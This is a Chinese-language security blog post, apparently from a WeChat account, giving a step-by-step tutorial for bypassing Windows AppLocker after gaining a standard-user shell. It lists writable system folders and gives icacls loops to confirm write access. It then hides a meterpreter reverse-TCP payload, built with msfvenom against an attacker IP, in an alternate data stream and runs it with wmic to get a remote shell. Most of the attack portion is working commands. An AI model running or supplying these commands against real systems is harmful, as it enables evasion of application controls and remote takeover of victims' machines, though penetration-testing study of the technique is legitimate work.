现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
前言
当我们发现自己无法在受害者上执行任何工具时,我们会预感 AppLocker 已启用。从那里,我们将枚举并确认 AppLocker 确实已安装并按照默认规则运行。之后,我们将研究两种可用于绕过 AppLocker 限制的技术,以便我们可以在受害者身上使用我们的工具。
AppLocker 是一项功能(策略),用于对某些文件类型(应用程序)及其执行位置创建限制。例如,管理员可以使用 AppLocker 设置规则,仅允许用户执行 C:\Program Files\* 中的 EXE 文件。由于通配符 (*),这意味着 EXE 只能从 C:\Program Files 及其任何子文件夹执行。
AppLocker 可以帮助您控制用户可以运行哪些应用程序和文件。其中包括可执行文件、脚本、Windows Installer 文件、动态链接库 (DLL)、打包应用程序和打包应用程序安装程序。
枚举AppLocker
在此示例中,我们在 Server 2019 计算机上获得了 shell 作为标准用户账单。
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
在我们最初的枚举过程中,我们决定创建一个 C:\temp 文件夹,以便在开始将一些工具传输到受害者时使用。从那里,我们在攻击者机器上设置了一个 HTTP 服务器,然后将 winPEAS 下载到受害者上。
如果您没有 winPEAS 的副本,可以在此处获取一份。
https://github.com/carlospolop/PEASS-ng
现在,受害者身上有 winPEAS,我们尝试执行它,但发现我们被组策略阻止了。
此消息暗示受害者上正在运行 AppLocker。我们可以使用以下 PowerShell 命令确认 AppLocker 是否正在运行:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
在这里我们可以看到 AppLocker 确实正在运行,并且已经在此主机上为可执行文件和脚本设置了默认规则。设置的默认规则仅允许从 C:\Windows\* 或 C:\Program Files\* 中执行可执行文件和脚本。这意味着我们只能从这些文件夹或其中的任何子文件夹(从通配符)执行脚本。唯一的问题是这些文件夹默认情况下通常具有严格的权限。
AppLocker 将可执行规则定义为与应用关联的任何具有 .exe 和 .com 扩展名的文件。
AppLocker 定义脚本规则仅包含以下文件格式:.ps1 ;.bat;.cmd; .vbs;.js
那么现在我们可以做什么呢?好吧,我们可以检查 C:\Program Files 和 C:\Windows 中所有文件夹的权限;然而,幸运的是,有人已经这样做了,并创建了标准用户可以在 C:\Windows\* 中写入的默认文件夹列表。
AppLocker绕过 – 默认可写文件夹
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32 \Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft \Windows\SyncCenter
C:\Windows\System32\Tasks_Migerated(执行 Windows 10 版本升级后)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft \Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
现在,作为攻击者,我们的任务是确认我们对每个文件夹的权限。我们可以对它们一一使用 icacl;但是,对于本示例,我们将创建一个文件,然后使用 for 循环对文件的每一行运行 icacls。
for /F %A in (C:\temp\icacls.txt) do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
将输出截断为仅前 10 个结果,我们可以看到其中 3 个结果具有写入权限!
现在,我们需要做的就是将我们尝试运行的可执行文件复制到我们已确认用户可以写入的标准的文件夹之一中。
copy C:\temp\winPEASx64.exe C:\Windows\Tasks
AppLocker绕过 – 备用数据流
需要注意的是,当从 ADS 执行文件时,它会打开一个新窗口来运行程序。如果我们在反向 shell 中工作,这将是一个问题,因为我们将看不到 PEAS 的输出。
由于我们现在没有 GUI 访问权限,因此我们会将示例从 winPEAS 切换到 meterpreter shell 升级。
假设我们在 C:\Windows\* 中没有找到任何可写文件夹,我们的下一个选择是尝试在 C:\Program Files 中找到可写文件夹或文件。
由于 C:\Program Files 中没有任何可供标准用户写入的默认文件夹/文件,因此我们需要关注非默认文件夹。
当我们检查 C:\Program Files 时,我们看到有一个名为“Program”的非默认文件夹,因此我们将从这里开始。
icacls "C:\Program Files\Program"
不幸的是,我们发现我们没有这个文件夹的写权限,我们将无法在此处复制可执行文件。
接下来,我们需要检查文件夹内部是否有任何我们可能具有写入权限的文件。
icacls "C:\Program Files\Program\*"
通过在末尾添加通配符,我们能够检查对 Program 文件夹的所有文件/子文件夹的权限。幸运的是,我们对日志文件有写权限!
由于我们对 TXT 文件具有写入权限,因此我们可以创建备用数据流并将 meterpreter 有效负载嵌入到日志文件中,然后执行它。
首先,我们需要在攻击者机器上创建一个 meterpreter 有效负载,然后将其传输到受害者上。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter64.exe
type C:\temp\meterpreter64.exe > "C:\Program Files\Program\log.txt:meterpreter64.exe"
msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"
wmic process call create '"C:\Program Files\Program\log.txt:meterpreter64.exe"'
在这里我们可以看到该命令有效并且创建了一个新进程。然后,回顾我们的监听器,我们得到了一个 meterpreter shell!
最后的想法
在这两个示例中,我们找到了一种绕过 AppLocker 来运行可执行文件的方法。从这里,我们现在可以使用 winPEAS 的输出来找出权限提升路径,或者我们可以尝试从我们启动的 meterpreter 会话中测试漏洞利用。不管怎样,由于绕过了 AppLocker,我们离管理员或系统又近了一步。
https://github.com/api0cradle/UltimateAppLockerByPassList
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...
推 荐 阅 读